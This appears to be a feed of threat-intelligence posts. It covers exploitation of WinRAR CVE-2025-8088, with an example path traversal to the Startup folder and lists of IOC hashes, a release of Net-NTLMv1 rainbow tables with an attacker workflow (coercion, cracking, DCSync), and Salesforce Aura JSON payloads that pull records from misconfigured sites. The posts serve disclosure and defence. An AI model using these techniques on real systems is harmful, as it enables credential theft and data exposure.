    APK

    Application with Hex SDK Code

    2d1891b6d0c158ad7280f0f30f3c9d913960a793c6abcda249f9c76e13014e45

    EXE

    Radish VPN Client

    59cbdecfc01eba859d12fbeb48f96fe3fe841ac1aafa6bd38eff92f0dcfd4554

    EXE

    ABC S5 Proxy Client

    ba9b1f4cc2c7f4aeda7a1280bbc901671f4ec3edaa17f1db676e17651e9bff5f

    EXE

    Luna Proxy Client

    01ac6012d4316b68bb3165ee451f2fcc494e4e37011a73b8cf2680de3364fcf4

    Received — 28 January 2026 Threat Intelligence

    Diverse Threat Actors Exploiting Critical WinRAR Vulnerability CVE-2025-8088

    27 January 2026 at 15:00

    Introduction 

    The Google Threat Intelligence Group (GTIG) has identified widespread, active exploitation of the critical vulnerability CVE-2025-8088 in WinRAR, a popular file archiver tool for Windows, to establish initial access and deliver diverse payloads. Discovered and patched in July 2025, government-backed threat actors linked to Russia and China as well as financially motivated threat actors continue to exploit this n-day across disparate operations. The consistent exploitation method, a path traversal flaw allowing files to be dropped into the Windows Startup folder for persistence, underscores a defensive gap in fundamental application security and user awareness.

    In this blog post, we provide details on CVE-2025-8088 and the typical exploit chain, highlight exploitation by financially motivated and state-sponsored espionage actors, and provide IOCs to help defenders detect and hunt for the activity described in this post.

    To protect against this threat, we urge organizations and users to keep software fully up-to-date and to install security updates as soon as they become available. After a vulnerability has been patched, malicious actors will continue to rely on n-days and use slow patching rates to their advantage. We also recommend the use of Google Safe Browsing and Gmail, which actively identifies and blocks files containing the exploit.

    Vulnerability and Exploit Mechanism

    CVE-2025-8088 is a high-severity path traversal vulnerability in WinRAR that attackers exploit by leveraging Alternate Data Streams (ADS). Adversaries can craft malicious RAR archives which, when opened by a vulnerable version of WinRAR, can write files to arbitrary locations on the system. Exploitation of this vulnerability in the wild began as early as July 18, 2025, and the vulnerability was addressed by RARLAB with the release of WinRAR version 7.13 shortly after, on July 30, 2025.

    The exploit chain often involves concealing the malicious file within the ADS of a decoy file inside the archive. While the user typically views a decoy document (such as a PDF) within the archive, there are also malicious ADS entries, some containing a hidden payload while others are dummy data.

    The payload is written with a specially crafted path designed to traverse to a critical directory, frequently targeting the Windows Startup folder for persistence. The key to the path traversal is the use of the ADS feature combined with directory traversal characters. 

    For example, a file within the RAR archive might have a composite name like innocuous.pdf:malicious.lnk combined with a malicious path: ../../../../../Users/<user>/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/malicious.lnk

    When the archive is opened, the ADS content (malicious.lnk) is extracted to the destination specified by the traversal path, automatically executing the payload the next time the user logs in.

    State-Sponsored Espionage Activity

    Multiple government-backed actors have adopted the CVE-2025-8088 exploit, predominantly focusing on military, government, and technology targets. This is similar to the widespread exploitation of a known WinRAR bug in 2023, CVE-2023-38831, highlighting that exploits for known vulnerabilities can be highly effective, despite a patch being available.

    Timeline of notable observed exploitation

    Figure 1: Timeline of notable observed exploitation

    Russia-Nexus Actors Targeting Ukraine

    Suspected Russia-nexus threat groups are consistently exploiting CVE-2025-8088 in campaigns targeting Ukrainian military and government entities, using highly tailored geopolitical lures.

    • UNC4895 (CIGAR): UNC4895 (also publicly reported as RomCom) is a dual financial and espionage-motivated threat group whose campaigns often involve spearphishing emails with lures tailored to the recipient. We observed subjects indicating targeting of Ukrainian military units. The final payload belongs to the NESTPACKER malware family (externally known as Snipbot).
    Ukrainian language decoy document from UNC4895 campaign

    Figure 2: Ukrainian language decoy document from UNC4895 campaign

    • APT44 (FROZENBARENTS): This Russian APT group exploits CVE-2025-8088 to drop a decoy file with a Ukrainian filename, as well as a malicious LNK file that attempts further downloads.

    • TEMP.Armageddon (CARPATHIAN): This actor, also targeting Ukrainian government entities, uses RAR archives to drop HTA files into the Startup folder. The HTA file acts as a downloader for a second stage. The initial downloader is typically contained within an archive packed inside an HTML file. This activity has continued through January 2026.

    • Turla (SUMMIT): This actor adopted CVE-2025-8088 to deliver the STOCKSTAY malware suite. Observed lures are themed around Ukrainian military activities and drone operations.

    China-Nexus Actors

    • A PRC-based actor is exploiting the vulnerability to deliver POISONIVY malware via a BAT file dropped into the Startup folder, which then downloads a dropper.

    Financially Motivated Activity

    Financially motivated threat actors also quickly adopted the vulnerability to deploy commodity RATs and information stealers against commercial targets.

    • A group that has targeted entities in Indonesia using lure documents used this vulnerability to drop a .cmd file into the Startup folder. This script then downloads a password-protected RAR archive from Dropbox, which contains a backdoor that communicates with a Telegram bot command and control.

    • A group known for targeting the hospitality and travel sectors, particularly in LATAM, is using phishing emails themed around hotel bookings to eventually deliver commodity RATs such as XWorm and AsyncRAT.

    • A group targeting Brazilian users via banking websites delivered a malicious Chrome extension that injects JavaScript into the pages of two Brazilian banking sites to display phishing content and steal credentials.

    • In December and January 2026, we have continued to observe malware being distributed by cyber crime exploiting CVE-2025-8088, including commodity RATS and stealers. 

    The Underground Exploit Ecosystem: Suppliers Like "zeroplayer"

    The widespread use of CVE-2025-8088 by diverse actors highlights the demand for effective exploits. This demand is met by the underground economy where individuals and groups specialize in developing and selling exploits to a range of customers. A notable example of such an upstream supplier is the actor known as "zeroplayer," who advertised a WinRAR exploit in July 2025. 

    The WinRAR vulnerability is not the only exploit in zeroplayer’s arsenal. Historically, and in recent months, zeroplayer has continued to offer other high-priced exploits that could potentially allow threat actors to bypass security measures. The actor’s advertised portfolio includes the following among others:

    • In November 2025, zeroplayer claimed to have a sandbox escape RCE zero-day exploit for Microsoft Office advertising it for $300,000. 

    • In late September 2025, zeroplayer advertised a RCE zero-day exploit for a popular, unnamed corporate VPN provider; the price for the exploit was not specified.

    • Starting in mid-October 2025, zeroplayer advertised a zero-day Local Privilege Escalation (LPE) exploit for Windows listing its price as $100,000.

    • In early September 2025, zeroplayer advertised a zero-day exploit for a vulnerability that exists in an unspecified drive that would allow an attacker to disable antivirus (AV) and endpoint detection and response (EDR) software; this exploit was advertised for $80,000.

    zeroplayer’s continued activity as an upstream supplier of exploits highlights the continued commoditization of the attack lifecycle. By providing ready-to-use capabilities, actors such as zeroplayer reduce the technical complexity and resource demands for threat actors, allowing groups with diverse motivations—from ransomware deployment to state-sponsored intelligence gathering—to leverage a diverse set of capabilities.

    Conclusion

    The widespread and opportunistic exploitation of CVE-2025-8088 by a wide range of threat actors underscores its proven reliability as a commodity initial access vector. It also serves as a stark reminder of the enduring danger posed by n-day vulnerabilities. When a reliable proof of concept for a critical flaw enters the cyber criminal and espionage marketplace, adoption is instantaneous, blurring the line between sophisticated government-backed operations and financially motivated campaigns. This vulnerability’s rapid commoditization reinforces that a successful defense against these threats requires immediate application patching, coupled with a fundamental shift toward detecting the consistent, predictable post-exploitation TTPs.

    Indicators of Compromise (IOCs)

    To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

    File Indicators

    Filename

    SHA-256

    1_14_5_1472_29.12.2025.rar

    272c86c6db95f1ef8b83f672b65e64df16494cae261e1aba1aeb1e59dcb68524

    2_16_9_1087_16.01.2026.rar

    33580073680016f23bf474e6e62c61bf6a776e561385bfb06788a4713114ba9d

    5_18_6_1405_25.12.2025.rar

    498961237cf1c48f1e7764829818c5ba0af24a234c2f29c4420fb80276aec676

    2_13_3_1593_26.12.2025.rar

    4f4567abe9ff520797b04b04255bbbe07ecdddb594559d436ac53314ec62c1b3

    5_18_6_1028_25.12.2025.rar

    53f1b841d323c211c715b8f80d0efb9529440caae921a60340de027052946dd9

    2_12_7_1662_26.12.2025.rar

    55b3dc57929d8eacfdadc71d92483eabe4874bf3d0189f861b145705a0f0a8fe

    1_11_4_1742_29.12.2025.rar

    68d9020aa9b509a6d018d6d9f4c77e7604a588b2848e05da6a4d9f82d725f91b

    2_18_3_1468_16.01.2026.rar

    6d3586aa6603f1c1c79d7bd7e0b5c5f0cc8e8a84577c35d21b0f462656c2e1f9

    1_16_2_1428_29.12.2025.rar

    ae93d9327a91e90bf7744c6ce0eb4affb3acb62a5d1b2dafd645cba9af28d795

    1_12_7_1721_29.12.2025.rar

    b90ef1d21523eeffbca17181ccccf269bca3840786fcbf5c73218c6e1d6a51a9

    N/A

    c7726c166e1947fdbf808a50b75ca7400d56fa6fef2a76cefe314848db22c76c

    1_15_7_1850_29.12.2025.rar

    e836873479ff558cfb885097e8783356aad1f2d30b69d825b3a71cb7a57cf930

    2_16_2_1526_26.12.2025.rar

    ffc6c3805bbaef2c4003763fd5fac0ebcccf99a1656f10cf7677f6c2a5d16dbd

    N/A

    958921ea0995482fb04ea4a50bbdb654f272ab991046a43c1fdbd22da302d544

    підтверджуючі документи.pdf

    defe25e400d4925d8a2bb4b1181044d06a8bf61688fd9c9ea59f1e0bb7bc21d8

    Desktop_Internet.lnk

    edc1f7528ca93ec432daca820f47e08d218b79cceca1ee764966f8f90d6a58bd

    N/A

    29f89486bb820d40c9bee8bf70ee8664ea270b16e486af4a53ab703996943256

    N/A

    2c40e7cf613bf2806ff6e9bc396058fe4f85926493979189dbdbc7d615b7cb14

    N/A

    3b85d0261ab2531aba9e2992eb85273be0e26fe61e4592862d8f45d6807ceee4

    N/A

    54305c7b95d8105601461bb18de87f1f679d833f15e38a9ee7895a0c8605c0d0

    N/A

    5dee69127d501142413fb93fd2af8c8a378682c140c52b48990a5c41f2ce3616

    N/A

    867a05d67dd184d544d5513f4f07959a7c2b558197c99cb8139ea797ad9fbece

    N/A

    91e61fd77460393a89a8af657d09df6a815465f6ce22f1db8277d58342b32249

    N/A

    b2b62703a1ef7d9d3376c6b3609cd901cbccdcca80fba940ce8ed3f4e54cdbe6

    N/A

    cf35ce47b35f1405969f40633fcf35132ca3ccb3fdfded8cc270fc2223049b80

    N/A

    d981a16b9da1615514a02f5ebb38416a009f5621c0b718214d5b105c9f552389

    N/A

    ddd67dda5d58c7480152c9f6e8043c3ea7de2e593beedf86b867b83f005bf0cc

    N/A

    ea0869fa9d5e23bdd16cddfefbbf9c67744598f379be306ff652f910db1ba162

    N/A

    ef0e1bb2d389ab8b5f15d2f83cf978662e18e31dbe875f39db563e8a019af577

    N/A

    f3e5667d02f95c001c717dfc5a0e100d2b701be4ec35a3e6875dc276431a7497

    N/A

    f6761b5341a33188a7a1ca7a904d5866e07b8ddbde9adebdbce4306923cfc60a

    N/A

    fc2a6138786fae4e33dc343aea2b1a7cd6411187307ea2c82cd96b45f6d1f2a0

    N/A

    a97f460bfa612f1d406823620d0d25e381f9b980a0497e2775269917a7150f04

    N/A

    d418f878fa02729b38b5384bcb3216872a968f5d0c9c77609d8c5aacedb07546

    3-965_26.09.2025.HTA

    ba86b6e0199b8907427364246f049efd67dc4eda0b5078f4bc7607253634cf24

    Заява про скоєння злочину 3-965_26.09.2025.rar

    cf8ebfd98da3025dc09d0b3bbeef874d8f9c4d4ba4937719f0a9a3aa04c81beb

    Proposal_for_Cooperation_3415.05092025.rar

    5b64786ed92545eeac013be9456e1ff03d95073910742e45ff6b88a86e91901b

    N/A

    8a7ee2a8e6b3476319a3a0d5846805fd25fa388c7f2215668bc134202ea093fa

    N/A

    3b47df790abb4eb3ac570b50bf96bb1943d4b46851430ebf3fc36f645061491b

    document.rar

    bb4856a66bf7e0de18522e35798c0a8734179c1aab21ed2ad6821aaa99e1cb4c

    update.bat

    aea13e5871b683a19a05015ff0369b412b985d47eb67a3af93f44400a026b4b0

    ocean.rar

    ed5b920dad5dcd3f9e55828f82a27211a212839c8942531c288535b92df7f453

    expl.rar

    a54bcafd9d4ece87fa314d508a68f47b0ec3351c0a270aa2ed3a0e275b9db03c

    BrowserUpdate.lnk

    b53069a380a9dd3dc1c758888d0e50dd43935f16df0f7124c77569375a9f44f5

    Received — 16 January 2026 Threat Intelligence

    Closing the Door on Net-NTLMv1: Releasing Rainbow Tables to Accelerate Protocol Deprecation

    15 January 2026 at 15:00

    Written by: Nic Losby


    Introduction

    Mandiant is publicly releasing a comprehensive dataset of Net-NTLMv1 rainbow tables to underscore the urgency of migrating away from this outdated protocol. Despite Net-NTLMv1 being deprecated and known to be insecure for over two decades—with cryptanalysis dating back to 1999—Mandiant consultants continue to identify its use in active environments. This legacy protocol leaves organizations vulnerable to trivial credential theft, yet it remains prevalent due to inertia and a lack of demonstrated immediate risk.

    By releasing these tables, Mandiant aims to lower the barrier for security professionals to demonstrate the insecurity of Net-NTLMv1. While tools to exploit this protocol have existed for years, they often required uploading sensitive data to third-party services or expensive hardware to brute-force keys. The release of this dataset allows defenders and researchers to recover keys in under 12 hours using consumer hardware costing less than $600 USD. This initiative highlights the amplified impact of combining Mandiant's frontline expertise with Google Cloud's resources to eliminate entire classes of attacks.

    This post details the generation of the tables, provides access to the dataset for community use, and outlines critical remediation steps to disable Net-NTLMv1 and prevent authentication coercion attacks.

    Background

    Net-NTLMv1 has been widely known to be insecure since at least 2012, following presentations at DEFCON 20, with cryptanalysis of the underlying protocol dating back to at least 1999. On Aug. 30, 2016, Hashcat added support for cracking Data Encryption Standard (DES) keys using known plaintext, further democratizing the ability to attack this protocol. Rainbow tables are almost as old, with the initial paper on rainbow tables published in 2003 by Philippe Oechslin, citing an earlier iteration of a time-memory trade-off from 1980 by Martin Hellman.

    Essentially, if an attacker can obtain a Net-NTLMv1 hash without Extended Session Security (ESS) for the known plaintext of 1122334455667788, a cryptographic attack, referred to as a known plaintext attack (KPA), can be applied. This guarantees recovery of the key material used. Since the key material is the password hash of the authenticating Active Directory (AD) object—user or computer—the attack results can quickly be used to compromise the object, often leading to privilege escalation.

    A common chain attackers use is authentication coercion from a highly privileged object, such as a domain controller (DC). Recovering the password hash of the DC machine account allows for DCSync privileges to compromise any other account in AD.

    Dataset Release

    The unsorted dataset can be downloaded using gsutil -m cp -r gs://net-ntlmv1-tables/tables . or through the Google Cloud Research Dataset portal

    The SHA512 hashes of the tables can be checked by first downloading the checksums gsutil -m cp gs://net-ntlmv1-tables/tables.sha512 . then checked by sha512sum -c tables.sha512. The password cracking community has already created derivative work and is also hosting the ready to use tables.

    Use of the Tables

    Once a Net-NTLMv1 hash has been obtained, the tables can be used with historical or modern reinventions of rainbow table searching software such as rainbowcrack (rcrack), or RainbowCrack-NG on central processing units (CPUs) or a fork of rainbowcrackalack on graphics processing units (GPUs). The Net-NTLMv1 hash needs to be preprocessed to the DES components using ntlmv1-multi as shown in the next section.

    Obtaining a Net-NTLMv1 Hash

    Most attackers will use Responder with the --lm and --disable-ess flags and set the authentication to a static value of 1122334455667788 to only allow for connections with Net-NTLMv1 as a possibility. Attackers can then wait for incoming connections or coerce authentication using a tool such as PetitPotam or DFSCoerce to generate incoming connections from DCs or lower privilege hosts that are useful for objective completion. Responses can be cracked to retrieve password hashes of either users or computer machine accounts. A sample workflow for an attacker is shown below in Figure 1, Figure 2, and Figure 3.

    DFSCoerce against a DC

    Figure 1: DFSCoerce against a DC

    Net-NTLMv1 hash obtained for DC machine account

    Figure 2: Net-NTLMv1 hash obtained for DC machine account

    Parse Net-NTLMv1 hash to DES parts

    Figure 3: Parse Net-NTLMv1 hash to DES parts

    Figure 4 illustrates the processing of the Net-NTLMv1 hash to the DES ciphertexts.

    Net-NTLMv1 hash to DES ciphertexts

    Figure 4: Net-NTLMv1 hash to DES ciphertexts

    An attacker then takes the split-out ciphertexts to crack the keys used based on the known plaintext of 1122334455667788 with the steps of loading the tables shown in Figure 5 and cracking results in Figure 6 and Figure 7.

    Loading DES components for cracking

    Figure 5: Loading DES components for cracking

    First hash cracked

    Figure 6: First hash cracked

    Second hash cracked and run statistics

    Figure 7: Second hash cracked and run statistics

    An attacker can then calculate the last remaining key with ntlmv1-multi once again, or look it up with twobytes, to recreate the full NT hash for the DC account with the last key part shown in Figure 8.

    Calculate remaining key

    Figure 8: Calculate remaining key

    The result can be checked with hashcat's NT hash shucking mode, -m 27000, as shown in Figure 9.

    Keys checked with hash shucking

    Figure 9: Keys checked with hash shucking

    An attacker can then use the hash to perform a DCSync attack targeting a DC and authenticating as the now compromised machine account. The attack flow uses secretsdump.py from the Impacket toolsuite and is shown in Figure 10.

    DCSync attack performed

    Figure 10: DCSync attack performed

    Remediation

    Organizations should immediately disable the use of Net-NTLMv1. 

    Local Computer Policy

    "Local Security Settings" > "Local Policies" > "Security Options" > “Network security: LAN Manager authentication level" > "Send NTLMv2 response only".

    Group Policy

    "Computer Configuration" > "Policies" > "Windows Settings" > "Security Settings" > "Local Policies" > "Security Options" > "Network Security: LAN Manager authentication level" > "Send NTLMv2 response only"

    As these are local to the computer configurations, attackers can and have set the configuration to a vulnerable state to then fix the configuration after their attacks have completed with local administrative access. Monitoring and alerting of when and where Net-NTLMv1 is used is needed in addition to catching these edge cases.

    Filter Event Logs for Event ID 4624: "An Account was successfully logged on." > "Detailed Authentication Information" > "Authentication Package" > "Package Name (NTLM only)", if "LM" or "NTLMv1" is the value of this attribute, LAN Manager or Net-NTLMv1 was used.

    Related Reading

    This project was inspired by and referenced the following research published to blogs, social media, and code repositories.

    Acknowledgements

    Thank you to everyone who helped make this blog post possible, including but not limited to Chris King and Max Gruenberg.

    Received — 12 January 2026 Threat Intelligence

    AuraInspector: Auditing Salesforce Aura for Data Exposure

    12 January 2026 at 15:00

    Written by: Amine Ismail, Anirudha Kanodia


    Introduction 

    Mandiant is releasing AuraInspector, a new open-source tool designed to help defenders identify and audit access control misconfigurations within the Salesforce Aura framework.

    Salesforce Experience Cloud is a foundational platform for many businesses, but Mandiant Offensive Security Services (OSS) frequently identifies misconfigurations that allow unauthorized users to access sensitive data including credit card numbers, identity documents, and health information. These access control gaps often go unnoticed until it is too late.

    This post details the mechanics of these common misconfigurations and introduces a previously undocumented technique using GraphQL to bypass standard record retrieval limits. To help administrators secure their environments, we are releasing AuraInspector, a command-line tool that automates the detection of these exposures and provides actionable insights for remediation.

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    What Is Aura?

    Aura is a framework used in Salesforce applications to create reusable, modular components. It is the foundational technology behind Salesforce's modern UI, known as Lightning Experience. Aura introduced a more modern, single-page application (SPA) model that is more responsive and provides a better user experience.

    As with any object-relational database and developer framework, a key security challenge for Aura is ensuring that users can only access data they are authorized to see. More specifically, the Aura endpoint is used by the front-end to retrieve a variety of information from the backend system, including Object records stored in the database. The endpoint can usually be identified by navigating through an Experience Cloud application and examining the network requests.

    To date, a real challenge for Salesforce administrators is that Salesforce objects sharing rules can be configured at multiple levels, complexifying the identification of potential misconfigurations. Consequently, the Aura endpoint is one of the most commonly targeted endpoints in Salesforce Experience Cloud applications.

    The most interesting aspect of the Aura endpoint is its ability to invoke aura-enabled methods, depending on the privileges of the authenticated context. The message parameter of this endpoint can be used to invoke the said methods. Of particular interest is the getConfigData method, which returns a list of objects used in the backend Salesforce database. The following is the syntax used to call this specific method.

    {"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.hostConfig.HostConfigController/ACTION$getConfigData","callingDescriptor":"UNKNOWN","params":{}}]}

    An example of response is displayed in Figure 1.

    Excerpt of getConfigData response

    Figure 1: Excerpt of getConfigData response

    Ways to Retrieve Data Using Aura

    Data Retrieval Using Aura

    Certain components in a Salesforce Experience Cloud application will implicitly call certain Aura methods to retrieve records to populate the user interface. This is the case for the serviceComponent://ui.force.components.controllers.
    lists.selectableListDataProvider.SelectableListDataProviderController/
    ACTION$getItems
    Aura method. Note that these Aura methods are legitimate and do not pose a security risk by themselves; the risk arises when underlying permissions are misconfigured.

    In a controlled test instance, Mandiant intentionally misconfigured access controls to grant guest (unauthenticated) users access to all records of the Account object. This is a common misconfiguration encountered during real-world engagements. An application would normally retrieve object records using the Aura or Lightning frameworks. One method is using getItems. Using this method with specific parameters, the application can retrieve records for a specific object the user has access to. An example of request and response using this method are shown in Figure 2.

    Retrieving records for the Account object

    Figure 2: Retrieving records for the Account object

    However, there is a constraint to this typical approach. Salesforce only allows users to retrieve at most 2,000 records at a given time. Some objects may have several thousand records, limiting the number of records that could be retrieved using this approach. To demonstrate the full impact of a misconfiguration, it is often necessary to overcome this limit.

    Testing revealed a sortBy parameter available on this method. This parameter is valuable because changing the sort order allows for the retrieval of additional records that were initially inaccessible due to the 2,000 record limit. Moreover, it is possible to obtain an ascending or descending sort order for any parameter by adding a - character in front of the field name. The following is an example of an Aura message that leverages the sortBy parameter.

    {"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"FUZZ","layoutType":"FULL","pageSize":100,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false,"sortBy":"<ArbitraryField>"}}]}

    The response where the Name field is sorted in descending order is displayed in Figure 3.

    Retrieving more records for the Account object by sorting results

    Figure 3: Retrieving more records for the Account object by sorting results

    For built-in Salesforce objects, there are several fields that are available by default. For custom objects, in addition to custom fields, there are a few default fields such as CreatedBy and LastModifiedBy, which can be filtered on. Filtering on various fields facilitates the retrieval of a significantly larger number of records. Retrieving more records helps security researchers demonstrate the potential impact to Salesforce administrators.

    Action Bulking

    To optimize performance and minimize network traffic, the Salesforce Aura framework employs a mechanism known as "boxcar'ing". Instead of sending a separate HTTP request for every individual server-side action a user initiates, the framework queues these actions on the client-side. At the end of the event loop, it bundles multiple queued Aura actions into a single list, which is then sent to the server as part of a single POST request.

    Without using this technique, retrieving records can require a significant number of requests, depending on the number of records and objects. In that regard, Salesforce allows up to 250 actions at a time in one request by using this technique. However, sending too many actions can quickly result in a Content-Length response that can prevent a successful request. As such, Mandiant recommends limiting requests to 100 actions per request. In the following example, two actions are bulked to retrieve records for both the UserFavorite objects and the ProcessInstanceNode object:

    {"actions":[{"id":"UserFavorite","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"UserFavorite","layoutType":"FULL","pageSize":100,"currentPage":0,"useTimeout":false,"getCount":true,"enableRowActions":false}},{"id":"ProcessInstanceNode","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"ProcessInstanceNode","layoutType":"FULL","pageSize":100,"currentPage":0,"useTimeout":false,"getCount":true,"enableRowActions":false}}]}

    This can be cumbersome to perform manually for many actions. This feature has been integrated into the AuraInspector tool to expedite the process of identifying misconfigured objects.

    Record Lists

    A lesser-known component is Salesforce's Record Lists. This component, as the name suggests, provides a list of records in the user interface associated with an object to which the user has access. While the access controls on objects still govern the records that can be viewed in the Record List, misconfigured access controls could allow users access to the Record List of an object.

    Using the ui.force.components.controllers.lists.
    listViewPickerDataProvider.ListViewPickerDataProviderController/
    ACTION$getInitialListViews
    Aura method, it is possible to check if an object has an associating record list component attached to it. The Aura message would appear as follows:

    {"actions":[{"id":"1086;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.listViewPickerDataProvider.ListViewPickerDataProviderController/ACTION$getInitialListViews","callingDescriptor":"UNKNOWN","params":{"scope":"FUZZ","maxMruResults":10,"maxAllResults":20},"storable":true}]}

    If the response contains an array of list views, as shown in Figure 4, then a Record List is likely present.

    Excerpt of response for the getInitialListViews method

    Figure 4: Excerpt of response for the getInitialListViews method

    This response means there is an associating Record List component to this object and it may be accessible. Simply navigating to /s/recordlist/<object>/Default will show the list of records, if access is permitted. An example of a Record List can be seen in Figure 5. The interface may also provide the ability to create or modify existing records.

    Default Record List view for Account object

    Figure 5: Default Record List view for Account object

    Home URLs

    Home URLs are URLs that can be browsed to directly. On multiple occasions, following these URLs led Mandiant researchers to administration or configuration panels for third-party modules installed on the Salesforce instance. They can be retrieved by authenticated users with the ui.communities.components.aura.components.communitySetup.cmc.
    CMCAppController/ACTION$getAppBootstrapData
    Aura method as follows:

    {"actions":[{"id":"1086;a","descriptor":"serviceComponent://ui.communities.components.aura.components.communitySetup.cmc.CMCAppController/ACTION$getAppBootstrapData","callingDescriptor":"UNKNOWN","params":{}}]}

    In the returned JSON response, an object named apiNameToObjectHomeUrls contains the list of URLs. The next step is to browse to each URL, verify access, and assess whether the content should be accessible. It is a straightforward process that can lead to interesting findings. An example of usage is shown in Figure 6.

    List of home URLs returned in response

    Figure 6: List of home URLs returned in response

    During a previous engagement, Mandiant identified a Spark instance administration dashboard accessible to any unauthenticated user via this method. The dashboard offered administrative features, as seen in Figure 7.

    Spark instance administration dashboard

    Figure 7: Spark instance administration dashboard

    Using this technique, Salesforce administrators can identify pages that should not be accessible to unauthenticated or low-privilege users. Manually tracking down these pages can be cumbersome as some pages are automatically created when installing marketplace applications.

    Self-Registration

    Over the last few years, Salesforce has increased the default security on Guest accounts. As such, having an authenticated account is even more valuable as it might give access to records not accessible to unauthenticated users. One solution to prevent authenticated access to the instance is to prevent self-registration. Self-registration can easily be disabled by changing the instance's settings. However, Mandiant observed cases where the link to the self-registration page was removed from the login page, but self-registration itself was not disabled. Salesforce confirmed this issue has been resolved.

    Aura methods that expose the self-registration status and URL are highly valuable from an adversary's perspective. The getIsSelfRegistrationEnabled and getSelfRegistrationUrl methods of the LoginFormController controller can be used as follows to retrieve this information:

    {"actions":[{"id":"1","descriptor":"apex://applauncher.LoginFormController/ACTION$getIsSelfRegistrationEnabled","callingDescriptor":"UHNKNOWN"},{"id":"2","descriptor":"apex://applauncher.LoginFormController/ACTION$getSelfRegistrationUrl","callingDescriptor":"UHNKNOWN"}]}

    By bulking the two methods, two responses are returned from the server. In Figure 8, self-registration is available as shown in the first response, and the URL is returned in the second response.

    Response when self-registration is enabled

    Figure 8: Response when self-registration is enabled

    This removes the need to perform brute forcing to identify the self-registration page; one request is sufficient. The AuraInspector tool verifies whether self-registration is enabled and alerts the researcher. The goal is to help Salesforce administrators determine whether self-registration is enabled or not from an external perspective.

    GraphQL: Going Beyond the 2,000 Records Limit

    Salesforce provides a GraphQL API that can be used to easily retrieve records from objects that are accessible via the User Interface API from the Salesforce instance. The GraphQL API itself is well documented by Salesforce. However, there is no official documentation or research related to the GraphQL Aura controller.

    GraphQL query from the documentation

    Figure 9: GraphQL query from the documentation

    This lack of documentation, however, does not prevent its use. After reviewing the REST API documentation, Mandiant constructed a valid request to retrieve information for the GraphQL Aura controller. Furthermore, this controller was available to unauthenticated users by default. Using GraphQL over the known methods offers multiple advantages:

    • Standardized retrieval of records and information about objects

    • Improved pagination, allowing for the retrieval of all records tied to an object

    • Built-in introspection, which facilitates the retrieval of field names

    • Support for mutations, which expedites the testing of write privileges on objects

    From a data retrieval perspective, the key advantage is the ability to retrieve all records tied to an object without being limited to 2,000 records. Salesforce confirmed this is not a vulnerability; GraphQL respects the underlying object permissions and does not provide additional access as long as access to objects is properly configured. However, in the case of a misconfiguration, it helps attackers access any amount of records on the misconfigured objects. When using basic Aura controllers to retrieve records, the only way to retrieve more than 2,000 records is by using sorting filters, which does not always provide consistent results. Using the GraphQL controller enables the consistent retrieval of the maximum number of records possible. Other options to retrieve more than 2,000 records are the SOAP and REST APIs, but those are rarely accessible to non-privileged users.

    One limitation of the GraphQL Controller is that it can only retrieve records for User Interface API (UIAPI) supported objects. As explained in the associated Salesforce GraphQL API documentation, this encompasses most objects as the "User Interface API supports all custom objects and external objects and many standard objects."

    Since there is no documentation on the GraphQL Aura controller itself, the API documentation was used as a reference. The API documentation provides the following example to interact with the GraphQL API endpoint:

    curl "https://{MyDomainName}[.my.salesforce.com/services/data/v64.0/graphql](https://.my.salesforce.com/services/data/v64.0/graphql)" \
      -X POST \
      -H "content-type: application/json" \
      -d '{
      "query": "query accounts { uiapi { query { Account { edges { node { Name { value } } } } } } }"
    }

    This example was then transposed to the GraphQL Aura controller. The following Aura message was found to work:

    {"actions":[{"id":"GraphQL","descriptor":"aura://RecordUiController/ACTION$executeGraphQL","callingDescriptor":"markup://forceCommunity:richText","params":{"queryInput":{"operationName":"accounts","query":"query+accounts+{uiapi+{query+{Account+{edges+{node+{+Name+{+value+}}}totalCount,pageInfo{endCursor,hasNextPage,hasPreviousPage}}}}}","variables":{}}},"version":"64.0","storable":true}]}

    This provides the same capabilities as the GraphQL API without requiring API access. The endCursor, hasNextPage, and hasPreviousPage fields were added in the response to facilitate pagination. The requests and response can be seen in Figure 10.

    Response when using the GraphQL Aura Controller

    Figure 10: Response when using the GraphQL Aura Controller

    The records would be returned with the fields queried and a pageInfo object containing the cursor. Using the cursor, it is possible to retrieve the next records. In the aforementioned example, only one record was retrieved for readability, but this can be done in batches of 2,000 records by setting the first parameter to 2000. The cursor can then be used as shown in Figure 11.

    Retrieving next records using the cursor

    Figure 11: Retrieving next records using the cursor

    Here, the cursor is a Base64-encoded string indicating the latest record retrieved, so it can easily be built from scratch. With batches of 2,000 records, and to retrieve the items from 2,000 to 4,000, the message would be:

    message={"actions":[{"id":"GraphQL","descriptor":"aura://RecordUiController/ACTION$executeGraphQL","callingDescriptor":"markup://forceCommunity:richText","params":{"queryInput":{"operationName":"accounts","query":"query+accounts+{uiapi+{query+{Contact(first:2000,after:\"djE6MTk5OQ==\"){edges+{node+{+Name+{+value+}}}totalCount,pageInfo{endCursor,hasNextPage,hasPreviousPage}}}}}","variables":{}}},"version":"64.0","storable":true}]}

    In the example, the cursor, set in the after parameter, is the base64 for v1:1999. It tells Salesforce to retrieve items after 1999. Queries can be much more complex, involving advanced filtering or join operations to search for specific records. Multiple objects can also be retrieved in one query. Though not covered in detail here, the GraphQL controller can also be used to update, create, and delete records by using mutation queries. This allows unauthenticated users to perform complex queries and operations without requiring API access.

    Remediation

    All of the issues described in this blogpost stem from misconfigurations, specifically on objects and fields. At a high level, Salesforce administrators should take the following steps to remediate these issues:

    • Audit Guest User Permissions: Regularly review and apply the principle of least privilege to unauthenticated guest user profiles. Follow Salesforce security best practices for guest users object security. Ensure they only have read access to the specific objects and fields necessary for public-facing functionality.

